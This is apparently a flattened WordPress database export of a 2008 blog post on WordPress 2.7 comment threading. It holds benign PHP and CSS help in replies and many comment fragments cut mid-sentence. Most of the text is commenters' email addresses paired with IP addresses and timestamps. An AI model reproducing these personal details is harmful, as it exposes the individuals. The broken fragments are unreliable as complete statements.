I recommend that you examine the comments.php file in the default theme in the 2.7 beta versions. However, the actual comments.php file I'm using on this site can be found here: http://ottodestruct.com/comments.phps, if it helps you any. It has the code I've described in this article, pretty much verbatim. The only additions to it are a couple of extra options on the wp_list_comments() call, such as avatar_size and reply_text.]]>
    424 2008-09-29 10:43:03 2008-09-29 15:43:03 open open wordpress-27-comments-enhancements publish 0 0 post 0 _edit_lock 1267741997 aktt_notify_twitter no _edit_last 1 _geo_location 35.14612862454304,-90.05355834960938 _geo_converted wp_geo_mashup_locations.id = 14 btc_comment_counts a:0:{} btc_comment_summary a:0:{} _aktt_hash_meta _syntaxhighlighter_encoded 1 6441 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-11-09 09:12:41 2008-11-09 15:12:41 1 6438 1 6323 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-06 08:49:47 2008-10-06 13:49:47 1 6322 1 6320 cross@thisismyurl.com http://thisismyurl.com 142.167.79.172 2008-10-04 13:49:29 2008-10-04 18:49:29 1 0 0 6432 http://www.blogherald.com/2008/11/06/wordpress-wednesday-news-wordpress-27-beta-2-danger-wordpress-faker-and-more-wordcamps/ 72.34.57.44 2008-11-07 23:51:43 2008-11-08 05:51:43 1 pingback 0 0 6321 cool-guy@hotmail.com 86.218.64.89 2008-10-05 13:07:48 2008-10-05 18:07:48 1 0 0 6322 mts@webdesign-in.de http://www.webdesign-in.de/ 85.127.188.205 2008-10-06 08:35:41 2008-10-06 13:35:41 1 6312 0 6366 http://www.blogherald.com/2008/10/29/wordpress-wednesday-news-wordpress-27-soon-security-upgrade-podcamp-wordcamp-hawaii-polldaddy-and-more/ 72.34.57.44 2008-10-29 03:54:39 2008-10-29 08:54:39 1 pingback 0 0 6305 youseph@yousephtanha.com http://www.yousephtanha.com/blog 216.67.106.185 2008-09-30 12:43:41 2008-09-30 17:43:41 1 0 0 6374 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-31 13:10:28 2008-10-31 18:10:28 1 6373 1 6383 scott.goodacre@themusicmagazine.co.uk http://www.themusicmagazine.co.uk 94.193.26.133 2008-11-02 13:54:06 2008-11-02 19:54:06 this page. I also can't sort out anything to hide the comment form using javascript, and have it appear when a link is clicked.]]> 1 0 0 6390 http://www.nkuttler.de/2008/11/04/comment-paging-in-wordpress-27/ 87.230.35.200 2008-11-03 17:41:34 2008-11-03 23:41:34 1 pingback 0 0 6407 rfischmann@gmail.com http://macmagazine.com.br/blog/ 189.115.225.129 2008-11-05 06:57:46 2008-11-05 12:57:46 1 6325 0 6408 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-05 08:42:07 2008-11-05 14:42:07 1 6401 1 6396 opinionbug@gmail.com 98.26.106.207 2008-11-04 12:27:40 2008-11-04 18:27:40 1 0 0 6395 http://wpcandy.com/articles/wordpress-27-updates.html 67.212.168.242 2008-11-04 04:03:14 2008-11-04 10:03:14 1 pingback 0 0 6399 opinionbug@gmail.com 98.26.106.207 2008-11-04 12:39:34 2008-11-04 18:39:34 1 6398 0 6400 http://wordpressguru.eu/2008/11/wordpress-27-sort-our-your-comments/ 70.86.194.154 2008-11-04 17:39:40 2008-11-04 23:39:40 1 pingback 0 0 6401 limetouch@gmail.com http://limetouch.com 119.234.0.4 2008-11-04 20:14:45 2008-11-05 02:14:45 1 0 0 6344 gilesrsmith@googlemail.com http://www.panicroon.co.uk 80.244.179.100 2008-10-23 09:27:09 2008-10-23 14:27:09 1 0 0 6381 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-11-02 09:58:53 2008-11-02 15:58:53 1 6379 1 6379 mts@webdesign-in.de http://www.webdesign-in.de/ 85.127.188.93 2008-11-02 05:43:45 2008-11-02 11:43:45 1 0 0 6338 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-10-18 12:47:26 2008-10-18 17:47:26 1 6326 1 6340 saveav@gmail.com http://wp.blogywalkie.com 125.164.0.14 2008-10-21 17:30:44 2008-10-21 22:30:44 wp.blogywalkie.com. Use "test" as your password and username this is very new, wp2.7 on my blog is prototype version. only few blogger has coppy of it, include me. check it out guys!!!!]]> 1 0 0 6380 http://www.jnbn.org/wordpress/making-your-theme%e2%80%99s-comments-compatible-with-wordpress-27-56.html 74.53.25.226 2008-11-02 08:33:55 2008-11-02 14:33:55 1 pingback 0 0 6347 bwbnet@gmail.com http://www.whypad.com 70.241.196.152 2008-10-25 15:15:40 2008-10-25 20:15:40 1 0 0 6406 andy@spicycauldron.com http://spicycauldron.com 86.155.34.58 2008-11-05 06:42:42 2008-11-05 12:42:42 1 0 0 6405 http://dougal.gunters.org/blog/2008/11/05/socializing-a-wordpress-site 67.207.142.242 2008-11-05 06:01:20 2008-11-05 12:01:20 1 pingback 0 0 6403 lazyest@brimosoft.nl http://brimosoft.nl/lazyest 212.159.240.18 2008-11-05 04:12:00 2008-11-05 10:12:00 1 0 0 6402 http://www.wordpress-blog.nl/2008/11/05/are-your-theme%e2%80%99s-comments-wordpress-27-compatible/ 84.244.165.70 2008-11-04 23:00:25 2008-11-05 05:00:25 1 pingback 0 0 6410 http://pinoyteens.net/2008/11/wordpress-27-comment-template/ 67.228.108.16 2008-11-05 08:53:33 2008-11-05 14:53:33 1 pingback 0 0 6409 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-05 08:44:38 2008-11-05 14:44:38 1 6406 1 6439 avik.st.clair@gmail.com http://blog.kaizeku.com 60.50.2.242 2008-11-09 03:31:17 2008-11-09 09:31:17 1 0 0 6398 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-04 12:36:03 2008-11-04 18:36:03 1 6396 1 6391 mail@nicolaskuttler.de http://www.nkuttler.de 84.59.7.230 2008-11-03 20:06:13 2008-11-04 02:06:13 1 0 0 6306 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 12:52:48 2008-09-30 17:52:48 1 6305 1 6316 iva@squirrelism.net http://www.squirrelism.net 87.250.39.34 2008-09-30 20:43:35 2008-10-01 01:43:35 1 0 0 6317 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-01 08:45:16 2008-10-01 13:45:16 1 6316 1 6288 jared@netrivet.com 76.235.208.119 2008-09-29 19:59:08 2008-09-30 00:59:08 1 0 0 6386 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-03 08:36:20 2008-11-03 14:36:20 1 6383 1 6387 http://will.ph/wordpress-27-beta-1/ 74.208.16.104 2008-11-03 09:32:38 2008-11-03 15:32:38 1 pingback 0 0 6388 scott.goodacre@themusicmagazine.co.uk http://www.themusicmagazine.co.uk 94.193.26.133 2008-11-03 11:00:11 2008-11-03 17:00:11 1 6386 0 6307 youseph@yousephtanha.com http://www.yousephtanha.com/blog 216.67.106.185 2008-09-30 13:00:27 2008-09-30 18:00:27 1 6306 0 6308 gene@macnightowl.com http://www.macnightowl.com 24.251.235.37 2008-09-30 13:14:12 2008-09-30 18:14:12 1 6304 0 6389 mail@nicolaskuttler.de http://www.nkuttler.de 84.59.7.230 2008-11-03 17:31:52 2008-11-03 23:31:52 1 0 0 6375 alltrees@gmail.com 69.135.210.90 2008-10-31 14:59:04 2008-10-31 19:59:04 1 6374 0 6371 alltrees@gmail.com 69.135.210.90 2008-10-30 18:16:47 2008-10-30 23:16:47 1 6359 0 6372 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-10-30 21:28:10 2008-10-31 02:28:10 1 6371 1 6342 a.soliman@gawab.net 41.196.248.43 2008-10-22 06:00:05 2008-10-22 11:00:05 1 6331 0 6343 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-22 08:30:05 2008-10-22 13:30:05 1 6342 1 6333 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-16 09:52:11 2008-10-16 14:52:11 1 6332 1 6309 jess@funroe.net http://funroe.net/ 198.51.92.3 2008-09-30 14:32:39 2008-09-30 19:32:39 1 0 0 6310 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 14:54:10 2008-09-30 19:54:10 1 6309 1 6311 will@will.ph http://will.ph/ 216.57.96.1 2008-09-30 16:16:25 2008-09-30 21:16:25 1 0 0 6312 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 16:38:23 2008-09-30 21:38:23 1 6311 1 6313 http://www.synesthesia.co.uk/blog/archives/2008/10/01/links-roundup-for-2008-09-30-2/ 83.243.102.131 2008-09-30 20:02:37 2008-10-01 01:02:37 1 pingback 0 0 6289 http://wplover.com/wp-27-comments-enhancements/ 64.22.96.20 2008-09-29 20:05:15 2008-09-30 01:05:15 1 pingback 0 0 6290 me@ajaydsouza.com http://ajaydsouza.com/ 59.163.221.82 2008-09-30 01:31:39 2008-09-30 06:31:39 1 0 0 6291 gene@macnightowl.com http://www.macnightowl.com 24.251.235.37 2008-09-30 03:44:21 2008-09-30 08:44:21 1 0 0 6292 http://www.webweaversworkshop.org/index.php/on-wordpress/anticipating-wordpress-27/ 64.65.77.178 2008-09-30 03:50:59 2008-09-30 08:50:59 1 pingback 0 0 6293 tinh@blogviet.info http://blogviet.info 210.245.52.51 2008-09-30 04:19:31 2008-09-30 09:19:31 1 0 0 6332 fran6art@gmail.com http://www.fran6art.com 83.180.108.49 2008-10-16 09:44:10 2008-10-16 14:44:10 1 0 0 6295 lian00@gmail.com http://www.li-an.fr/blog 82.229.110.126 2008-09-30 06:52:13 2008-09-30 11:52:13 1 0 0 6296 pete@flowdrops.com http://www.flowdrops.com 202.91.19.205 2008-09-30 07:44:33 2008-09-30 12:44:33 1 0 0 6297 will@will.ph http://will.ph/ 216.57.96.1 2008-09-30 07:55:17 2008-09-30 12:55:17 1 0 0 6315 junman_au@yahoo.com.au http://www.sachikospace.com 202.45.104.84 2008-09-30 20:35:39 2008-10-01 01:35:39 1 0 0 6359 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-27 13:20:10 2008-10-27 18:20:10 1 6358 1 6286 pobrien@orbtech.com http://www.thesistheme.org/wordpress-themes/ 76.194.56.30 2008-09-29 17:25:10 2008-09-29 22:25:10 1 0 0 6287 contact+ottodestruct@dd32.id.au http://dd32.id.au/ 61.69.168.234 2008-09-29 18:03:35 2008-09-29 23:03:35 1 0 0 6335 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-17 12:15:46 2008-10-17 17:15:46 1 6333 1 6279 jess@funroe.net http://funroe.net/ 198.51.92.3 2008-09-29 11:10:14 2008-09-29 16:10:14 1 0 0 6280 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-29 11:17:49 2008-09-29 16:17:49 1 6279 1 6281 ozh@planetozh.com http://planetozh.com/ 82.67.134.112 2008-09-29 14:57:04 2008-09-29 19:57:04 1 0 0 6282 http://planetozh.com/blog/2008/09/get-your-wordpress-theme-ready-for-27/ 64.111.110.28 2008-09-29 15:04:00 2008-09-29 20:04:00 1 pingback 0 0 6283 jd@jdh23.com http://www.jdh23.com/ 65.29.157.66 2008-09-29 15:18:31 2008-09-29 20:18:31 1 0 0 6284 social@ptahd.com http://ptahdunbar.com 24.98.239.126 2008-09-29 15:41:11 2008-09-29 20:41:11 1 0 0 6285 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-29 15:51:21 2008-09-29 20:51:21 1 6284 1 6358 alltrees@gmail.com 69.135.210.90 2008-10-27 13:10:44 2008-10-27 18:10:44 1 0 0 6384 http://www.michaelaulia.com/blogs/wordpress-27-beta-1.html 216.97.233.15 2008-11-03 01:01:45 2008-11-03 07:01:45 1 pingback 0 0 6385 mts@webdesign-in.de http://www.webdesign-in.de/ 85.127.188.248 2008-11-03 08:04:39 2008-11-03 14:04:39 div#comments ol.comments{ list-style:none;} and than there are no numbers]]> 1 6383 0 6298 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 08:50:08 2008-09-30 13:50:08 1 6297 1 6299 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 08:51:31 2008-09-30 13:51:31 1 6291 1 6300 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 08:53:03 2008-09-30 13:53:03 1 6287 1 6301 will@will.ph http://will.ph/ 216.57.96.1 2008-09-30 09:59:53 2008-09-30 14:59:53 1 6298 0 6302 awflasher@gmail.com http://www.ifgogo.com/ 221.223.106.8 2008-09-30 10:54:08 2008-09-30 15:54:08 1 0 0 6303 gene@macnightowl.com http://www.macnightowl.com 24.251.235.37 2008-09-30 12:02:18 2008-09-30 17:02:18 1 6299 0 6304 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-09-30 12:24:44 2008-09-30 17:24:44 1 6303 1 6376 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-31 15:11:34 2008-10-31 20:11:34 specificity. The last rule in the processing chain which is also the most specific rule takes precedence. Equally specific rules (bare classes would be equal) means that the last one counts. So, are you sure that you don't have a more specific rule overriding your other rules here? Even if it's higher in the file, more specific rules win. The way you describe it, it sounds like you do. Note that li.bypostauthor is more specific than the generic .bypostauthor. And the key to your problem is that a specific rule targeting the comment li's would likely be in between those two... As for your CSS problem, I suspect you're using the wrong CSS Selectors. Google for "CSS Selectors". If you don't want deep children, you don't have to select them. Like so: li.bypostauthor > div { background-color: red; } See? The > means to only select the div that has an immediate parent of li.bypostauthor. Simple, eh?]]> 1 6375 1 6373 alltrees@gmail.com 69.135.210.90 2008-10-31 12:51:07 2008-10-31 17:51:07 1 6372 0 6324 archshrk@gmail.com http://archshrk.com 209.223.116.173 2008-10-07 16:54:57 2008-10-07 21:54:57 1 6317 0 6325 contact@pulk.fr http://pulk.fr/ 86.215.102.23 2008-10-10 02:48:58 2008-10-10 07:48:58 1 0 0 6326 admin@laptoptips.ca http://azaozz.wordpress.com 207.6.224.228 2008-10-10 20:46:09 2008-10-11 01:46:09 1 0 0 6328 info@hamroawaaz.com http://www.hamroawaaz.com 202.70.64.57 2008-10-11 09:39:30 2008-10-11 14:39:30 1 0 0 6329 a.soliman@gawab.net 41.196.248.43 2008-10-14 09:17:54 2008-10-14 14:17:54 1 0 0 6331 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-10-14 10:29:40 2008-10-14 15:29:40 Ozz explains over here. I've updated the guide accordingly.]]> 1 6329 1 6411 david@davcheong.com http://www.davcheong.com 60.54.31.119 2008-11-05 11:24:07 2008-11-05 17:24:07 1 0 0 6412 andy@spicycauldron.com http://spicycauldron.com 86.155.34.58 2008-11-05 11:46:35 2008-11-05 17:46:35 1 6409 0 6413 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-05 12:11:02 2008-11-05 18:11:02 wp_list_comments(array( 'avatar_size'=>48, 'reply_text'=>'Reply to this Comment' )); ]]> 1 6412 1 6414 http://www.davcheong.com/earning-guide/tips-on-how-get-be-ready-for-wordpress-27.htm 69.16.251.239 2008-11-05 12:29:53 2008-11-05 18:29:53 1 pingback 0 0 6415 richard@theenglishguy.co.uk http://www.theenglishguy.co.uk 88.106.6.151 2008-11-06 01:13:49 2008-11-06 07:13:49 1 0 0 6416 http://www.emmanuelgeorjon.com/wordpress-27-personnaliser-laffichage-des-commentaires-827/ 212.227.66.238 2008-11-06 01:20:01 2008-11-06 07:20:01 1 pingback 0 0 6417 http://wpninja.pl/wordpress-27-beta-2-i-garsc-ciekawych-artykulow/ 88.198.8.17 2008-11-06 03:40:50 2008-11-06 09:40:50 1 pingback 0 0 6418 http://www.digitalrendezvous.net/2008/10/28/crazy-horse/ 74.53.58.11 2008-11-06 04:08:42 2008-11-06 10:08:42 1 pingback 0 0 6419 http://limetouch.com/archives/ajax-commenting-in-wordpress-27/ 208.87.241.31 2008-11-06 04:45:53 2008-11-06 10:45:53 1 pingback 0 0 6479 matt@medicaladmissions.co.uk http://www.medicaladmissions.co.uk/blog/ 149.254.200.236 2008-11-25 17:55:23 2008-11-25 23:55:23 1 0 0 6438 exchequer598@gmail.com 59.92.82.198 2008-11-08 21:42:01 2008-11-09 03:42:01 , I am displaying a alert for moderation to be approved using if ( $comment->comment_approved == '0' ). What is the new function to check this?]]> 1 0 0 6424 popacapa@gmail.com http://www.nixsight.net 194.81.151.145 2008-11-06 08:33:23 2008-11-06 14:33:23 specifically is commented on? I've not been able to find settings for these in my current Wordpress version (I'm only on 2.6)]]> 1 0 0 6426 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-06 08:39:17 2008-11-06 14:39:17 1 6424 1 6427 http://www.briangardner.com/blog/wordpress-27-threaded-comments.htm 208.109.198.123 2008-11-06 13:12:39 2008-11-06 19:12:39 1 pingback 0 0 6428 web@linkalicante.com http://www.linkalicante.com 80.35.68.220 2008-11-07 02:52:48 2008-11-07 08:52:48 1 0 0 6443 naruthitaf@gmail.com http://www.fatihturan.com 78.169.49.167 2008-11-11 09:04:12 2008-11-11 15:04:12 comment reply link on comments. I created two comments template for old Wordpress 2.6.3 and new Wordpress 2.7. New comments template (comments.php)'s code is here: http://pastebin.com/m264c16fd Also i'm using custom comment styling in functions.php (throught new wp_list_comments's callback argument). Codes is here: http://pastebin.com/m43b50f3e So how i can add custom reply link to my comments? I can't. :) Sorry for bad English.]]> 1 0 0 6444 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-11 09:23:05 2008-11-11 15:23:05 <div class="reply"> <?php comment_reply_link(); ?> </div>]]> 1 6443 1 6446 boltclock@NOVALISTIC.com http://blog.NOVALISTIC.com 202.156.14.74 2008-11-13 00:29:56 2008-11-13 06:29:56 wp_list_comments() in my theme. Are there individual functions that handle all the new commenting features and I could use to keep control over my comments HTML?]]> 1 0 0 6447 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-13 09:27:28 2008-11-13 15:27:28 1 6446 1 6448 boltclock@NOVALISTIC.com http://blog.NOVALISTIC.com 202.156.14.74 2008-11-13 10:08:38 2008-11-13 16:08:38 1 6447 0 6449 http://blog.mhanshaw.com/?p=207 202.191.62.87 2008-11-14 01:21:21 2008-11-14 07:21:21 1 pingback 0 0 6450 matt@medicaladmissions.co.uk http://www.medicaladmissions.co.uk/blog/ 149.254.200.236 2008-11-14 09:07:01 2008-11-14 15:07:01 1 0 0 6451 chris@twilighters.org http://twilighters.org 207.163.1.200 2008-11-14 10:39:12 2008-11-14 16:39:12 (Basic comments.php file removed by Otto) _____________________________________________________________________ If you could update it for me that would be awesome! I could like pay! Thanks]]> 1 0 0 6452 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-14 10:43:14 2008-11-14 16:43:14 1 6451 1 6453 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-14 10:51:54 2008-11-14 16:51:54 1 6450 1 6454 http://www.blogherald.com/2008/11/14/wordpress-wednesday-news-27-delayed-sneak-peak-video-help-wordpress-iphone-wordcamps/ 72.34.57.44 2008-11-14 20:51:38 2008-11-15 02:51:38 1 pingback 0 0 6459 http://clifgriffin.com/2008/11/15/upgrading-to-wordpress-27-beta-3/ 72.47.224.18 2008-11-15 16:44:27 2008-11-15 22:44:27 1 pingback 0 0 6460 lakelandjim@gmail.com http://brightanderalyblog.com 65.32.126.242 2008-11-16 06:55:13 2008-11-16 12:55:13 1 0 0 6461 matt@medicaladmissions.co.uk http://www.medicaladmissions.co.uk/blog/ 149.254.200.236 2008-11-16 15:27:53 2008-11-16 21:27:53 1 6453 0 6462 http://clarktech.no-ip.com/tech/wordpress-27-comment-threading-separate-pings-from-comments 216.81.119.95 2008-11-17 08:49:30 2008-11-17 14:49:30 1 pingback 0 0 6463 antti.peisa@gmail.com 213.255.178.136 2008-11-18 06:31:16 2008-11-18 12:31:16 1 6460 0 6464 antti.peisa@gmail.com 213.255.178.136 2008-11-18 07:36:00 2008-11-18 13:36:00 1 0 0 6465 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-18 09:02:56 2008-11-18 15:02:56 function change_comment_date($datestring, $dateformat) { global $comment; return mysql2date('YOUR_DATE_FORMAT_HERE', $comment->comment_date); } add_filter('get_comment_date','change_comment_date',10,2); The get_comment_time filter function also receives a third parameter of whether or not the time should be returned in GMT. The "at" piece is currently not editable, except for with the multi-lingual translation system. Here's the thing, because the wp_list_comments is relatively new, it's not entirely 100% configurable yet. In time, it will become more so, as work on 2.8 progresses. Some of the 2.7 point releases will probably add enhancements in this regard. Nevertheless, it is a work in progress. ]]> 1 6464 1 6495 rockprog80@gmail.com 66.130.28.53 2008-12-01 17:20:31 2008-12-01 23:20:31 1 0 0 6467 webmaster@knowledgeconstructs.com http://knowledgeconstructs.com 86.8.178.181 2008-11-19 06:15:18 2008-11-19 12:15:18 1 6398 0 6468 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-19 08:23:51 2008-11-19 14:23:51 1 6467 1 6469 jessica@jessicasideways.com http://jessicasideways.com/ 97.118.13.37 2008-11-19 12:17:40 2008-11-19 18:17:40 1 6280 0 6470 pcavit@gmail.com http://patcavit.com 63.126.183.106 2008-11-19 17:58:09 2008-11-19 23:58:09 1 6463 0 6477 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-11-22 12:49:21 2008-11-22 18:49:21 1 6475 1 6474 http://www.blogherald.com/2008/11/21/wordpress-wednesday-news/ 72.34.57.44 2008-11-22 00:44:00 2008-11-22 06:44:00 1 pingback 0 0 6475 newsletter@birthdaypartyjoy.com http://birthdaypartyjoy.com 189.216.197.76 2008-11-22 01:04:15 2008-11-22 07:04:15 1 0 0 6491 dan.b.lee@gmail.com http://kastedstudios.com 24.73.61.214 2008-11-28 15:42:05 2008-11-28 21:42:05 1 0 0 6480 http://www.51gadget.com/2008/11/starting-up-a-fresh-blog.html 66.49.208.25 2008-11-26 02:58:33 2008-11-26 08:58:33 1 pingback 0 0 6481 ferre5@live.com.mx 189.146.87.197 2008-11-26 09:51:49 2008-11-26 15:51:49 1 0 0 6482 ferre5@live.com.mx 189.146.87.197 2008-11-26 11:35:28 2008-11-26 17:35:28 1 6481 0 6483 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-11-26 11:38:31 2008-11-26 17:38:31 1 6482 1 6484 ferre5@live.com.mx 189.146.87.197 2008-11-26 12:35:20 2008-11-26 18:35:20 1 6483 0 6485 ferre5@live.com.mx 189.146.87.197 2008-11-26 12:57:22 2008-11-26 18:57:22 1 0 0 6490 dan.b.lee@gmail.com http://kastedstudios.com 24.73.61.214 2008-11-28 15:38:54 2008-11-28 21:38:54 1 0 0 6487 jefjulie@sbcglobal.net http://www.softwarewiki.org/blog/ 67.127.184.34 2008-11-26 23:32:01 2008-11-27 05:32:01 1 6469 0 6488 http://www.blogherald.com/2008/11/27/wordpress-news-wordpress-27-new-login-wordcamp-australia-wordpress-265-security-update-buddypress-and-more/ 72.34.57.44 2008-11-28 00:20:05 2008-11-28 06:20:05 1 pingback 0 0 6489 zain@knowledgeconstructs.com http://knowledgeconstructs.com 86.8.178.181 2008-11-28 07:18:14 2008-11-28 13:18:14 1 6468 0 6496 ceejlawrence@gmail.com 72.178.202.124 2008-12-01 22:36:20 2008-12-02 04:36:20 1 6495 0 6497 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-02 08:44:16 2008-12-02 14:44:16 1 6495 1 6572 http://will.ph/wordpress-27-comment-threading-howto/ 74.208.16.104 2008-12-17 11:19:55 2008-12-17 17:19:55 1 pingback 0 0 6571 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-17 11:18:26 2008-12-17 17:18:26 Discussion page in wp-admin.]]> 1 6570 1 6500 rockprog80@gmail.com 66.130.28.53 2008-12-04 10:31:31 2008-12-04 16:31:31 1 6497 0 6589 themystical@gmail.com http://www.hilariousgifs.com 79.16.0.187 2008-12-20 05:44:42 2008-12-20 11:44:42 1 0 0 6590 jim@bargaineering.com http://www.bargaineering.com/articles/ 72.81.221.43 2008-12-20 07:19:09 2008-12-20 13:19:09 1 0 0 6503 http://www.systematicabstraction.com/2008/12/07/wordpress-27-rc1-a-closer-look/ 64.235.52.170 2008-12-07 07:23:59 2008-12-07 13:23:59 1 pingback 0 0 6601 test@test.com 91.110.132.63 2008-12-24 09:28:38 2008-12-24 15:28:38 1 6597 0 6599 xdesi@desi.com 91.110.243.231 2008-12-23 11:14:52 2008-12-23 17:14:52 1 6589 0 6600 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-23 11:27:55 2008-12-23 17:27:55 1 6597 1 6506 http://brolly.ca/blog/qa/add-threaded-comments-to-wordpress/ 72.47.206.18 2008-12-08 15:10:29 2008-12-08 21:10:29 1 pingback 0 0 6507 jessica@jessicasideways.com http://jessicasideways.com/ 24.8.2.150 2008-12-08 19:35:35 2008-12-09 01:35:35 1 6487 0 6508 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-12-08 19:42:04 2008-12-09 01:42:04 Discussion page. You can enable/disable threading, put a limit on how deep the comments can thread, number per page, choose the ordering (newest first, oldest first), etc, etc... But none of those options work until your theme supports them like this article describes.]]> 1 6507 1 6509 http://sherwinpedia.com/social-media/quick-wordpress-27-thoughts 117.74.96.110 2008-12-09 00:32:41 2008-12-09 06:32:41 1 pingback 0 0 6510 flush.dj@gmail.com http://www.sizlopedia.com 124.109.54.70 2008-12-09 04:14:08 2008-12-09 10:14:08 1 0 0 6511 chaivoot@gmail.com http://www.freeshippingx.com 58.8.91.119 2008-12-09 07:52:21 2008-12-09 13:52:21 1 0 0 6512 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-09 08:57:59 2008-12-09 14:57:59 1 6511 1 6513 eric@backlighting.org http://backlighting.org 136.8.1.100 2008-12-09 23:48:17 2008-12-10 05:48:17 1 6510 0 6514 http://www.werewp.com/featured/all-you-wanted-to-know-about-wordpress-27/ 213.251.189.201 2008-12-11 04:27:37 2008-12-11 10:27:37 1 pingback 0 0 6515 http://www.hochstadt.com/new-features-in-wordpress-27 69.89.31.168 2008-12-11 05:01:42 2008-12-11 11:01:42 1 pingback 0 0 6516 http://www.shankrila.com/wordpress/wordpress-27-tips-hacks-tutorials-issues/ 64.22.66.50 2008-12-11 15:00:23 2008-12-11 21:00:23 1 pingback 0 0 6517 n.jauhari@gmail.com http://www.jauhari.net/ 114.121.19.181 2008-12-11 15:36:37 2008-12-11 21:36:37 1 0 0 6518 http://www.teknolojiherseyim.com/wordpress-27-ve-yeni-yorum-alanini-entegre-etmek/ 91.93.101.40 2008-12-12 04:11:09 2008-12-12 10:11:09 1 pingback 0 0 6519 johnny@anon.com 202.70.152.168 2008-12-12 08:46:52 2008-12-12 14:46:52 1 6517 0 6520 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-12 08:56:00 2008-12-12 14:56:00 comments_by_type['pings']); // this is both pingbacks and trackbacks echo count($wp_query->comments_by_type['trackback']); echo count($wp_query->comments_by_type['pingback']); echo count($wp_query->comments_by_type['comments']); Like that.]]> 1 6517 1 6521 mike@moviesnobs.net http://www.moviesnobs.net 24.147.189.3 2008-12-12 09:16:21 2008-12-12 15:16:21 1 0 0 6522 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-12-12 09:37:45 2008-12-12 15:37:45 1 6521 1 6523 xdragon@iglou.com http://www.geekshow.us 74.140.213.23 2008-12-12 09:49:34 2008-12-12 15:49:34 Wordpress Support Forums and let me know if there is a way to control all of the comment's text itself. As I can see, the only way to do so is by styling the p tags. And with the way the theme I'm using works, it wants to make each p into its own comment box. From what I can tell there is no div/span tag to just get a grasp on the text itself of the comment, whereas the date/avatar information each has their own easily styled div tags. Any help would be much appreciated.]]> 1 0 0 6524 http://www.daburna.de/blog/2008/12/11/intern-update-auf-wordpress-27/ 195.47.247.38 2008-12-12 11:26:59 2008-12-12 17:26:59 1 pingback 0 0 6525 ulyssesr@yahoo.com http://ulyssesonline.com 24.6.202.196 2008-12-12 11:31:45 2008-12-12 17:31:45 1 0 0 6526 http://blog.matrixagents.org/2008/12/update-auf-wordpress-27/ 213.133.99.5 2008-12-13 05:48:46 2008-12-13 11:48:46 1 pingback 0 0 6527 http://www.solo-technology.com/blog/2008/12/13/wordpress-27-and-threaded-comments/ 64.111.125.10 2008-12-13 09:01:28 2008-12-13 15:01:28 1 pingback 0 0 6528 http://www.wordpress-it.it/2008/12/13/wordpress-27-commenti-nidificati-e-paginati/ 205.196.212.5 2008-12-13 11:43:25 2008-12-13 17:43:25 1 pingback 0 0 6529 webmaster@siriusbuzz.com http://siriusbuzz.com 76.118.162.181 2008-12-13 15:53:31 2008-12-13 21:53:31 1 0 0 6530 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-12-13 16:46:35 2008-12-13 22:46:35 1 6529 1 6531 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2008-12-13 16:59:05 2008-12-13 22:59:05 and I can see that it is being rendered in the source. Any other ideas? Thanks for the help... awesome tut.]]> 1 6529 0 6532 otto@ottodestruct.com http://ottodestruct.com 75.64.211.180 2008-12-13 17:06:01 2008-12-13 23:06:01 1 6531 1 6533 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2008-12-13 17:24:22 2008-12-13 23:24:22 1 6532 0 6534 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2008-12-13 17:47:29 2008-12-13 23:47:29 1 6532 0 6535 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2008-12-13 17:48:33 2008-12-13 23:48:33 1 6534 0 6536 webmaster@siriusbuzz.com http://siriusbuzz.com 24.128.63.249 2008-12-13 18:04:20 2008-12-14 00:04:20 ]]> 1 6531 0 6537 webmaster@siriusbuzz.com http://siriusbuzz.com 